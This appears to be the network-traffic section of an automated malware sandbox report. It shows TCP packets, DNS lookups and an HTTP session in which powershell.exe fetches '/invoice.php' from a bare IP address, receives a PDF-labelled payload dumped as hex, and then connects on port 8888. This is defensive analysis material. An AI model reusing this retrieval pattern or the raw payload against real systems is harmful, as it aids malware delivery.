Jan 10, 2025 14:48:11.052242994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.052253962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.052261114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.052265882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.052272081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.052301884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.052333117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.071666002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071686983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071696997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071707010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071713924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071722984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071768045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071779013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071789026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.071789026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.071799040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071810961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071825027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.071827888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.071861982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.073653936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.073673010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.073683023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.073715925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.073728085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.073744059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.073755026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.073766947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.073776960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.073801041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.073827028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.107805014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.107852936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.107861996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.107872963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.107891083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.107904911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.107937098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.107949972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.107960939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108052969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108063936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108081102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108092070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108102083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108113050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108120918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108129025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.108133078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.108165979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136320114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136337996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136352062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136372089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136394024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136395931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136408091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136420965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136451006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136492968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136503935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136516094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136526108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136528015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136540890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136547089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136569023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136578083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136586905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136600971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136615992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136629105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136629105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136639118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136651039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136661053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136662006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136676073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136688948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136691093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136733055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136746883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136759043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136770010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136786938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136795044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136799097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136811018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136817932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136822939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136846066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136853933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136864901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136877060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136889935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136895895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136902094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136920929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136936903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.136959076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136970043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136981010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.136992931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137000084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137025118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137037039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137048960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137061119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137072086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137082100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137085915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137118101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137135029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137146950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137157917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137167931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137171030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137182951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137377977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137389898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137401104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137413979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137418032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137424946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137432098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137444019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137454987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137468100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137473106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137485981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137496948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137497902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137509108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137521982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137532949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137542963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137552977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137564898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137567043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137579918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137602091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137634039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137645960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137659073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137666941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137685061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137737989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137756109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137768030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137778997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137794018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137804985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137814999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137825966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137839079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137850046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137867928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137871981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137881994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137892962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137897968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137906075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137924910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137938976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.137952089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137969971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137981892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.137991905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.138000011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.138005018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.138026953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.141314983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.141328096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.141341925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.141352892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.141364098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.141379118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.141433954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.163835049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163876057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163886070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163899899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163918972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163928986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163933992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.163943052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163954020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163961887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.163980961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.163990021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.163996935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.164001942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.164021015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.164031029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.164040089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.164046049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.164066076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.164115906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.164128065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.164149046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.200124979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200192928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200211048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200222969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200236082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200233936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.200249910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200261116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.200273991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.200280905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200290918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200301886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200321913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.200325966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200336933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.200336933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200351000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200362921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.200362921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200376034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.200412989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.204988956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.205008984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.205068111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.228584051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.228629112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.228646994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.228652000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.228658915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.228687048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.278256893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.323801994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.328905106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.328953981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.328994036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.329005957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.337006092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.341922998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.341984034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342005014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.342020035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342062950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.342083931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342118025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342152119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342156887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.342185974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342221975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342231035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.342257023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342292070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.342295885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.387583971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.737695932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.743891001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.853220940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:12.347843885 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:12.352894068 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:12.352988005 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:12.353133917 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:12.357994080 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:13.164304972 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:13.215704918 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:13.348457098 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:48:20.504760981 CET	64946	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:48:20.504760981 CET	192.168.2.8	1.1.1.1	0xfadb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:48:20.513400078 CET	1.1.1.1	192.168.2.8	0xfadb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:48:21.258351088 CET	1.1.1.1	192.168.2.8	0xa494	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:48:21.258351088 CET	1.1.1.1	192.168.2.8	0xa494	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7784	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:48:09.643488884 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:48:10.470576048 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:48:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:48:10.470599890 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:48:10.470612049 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
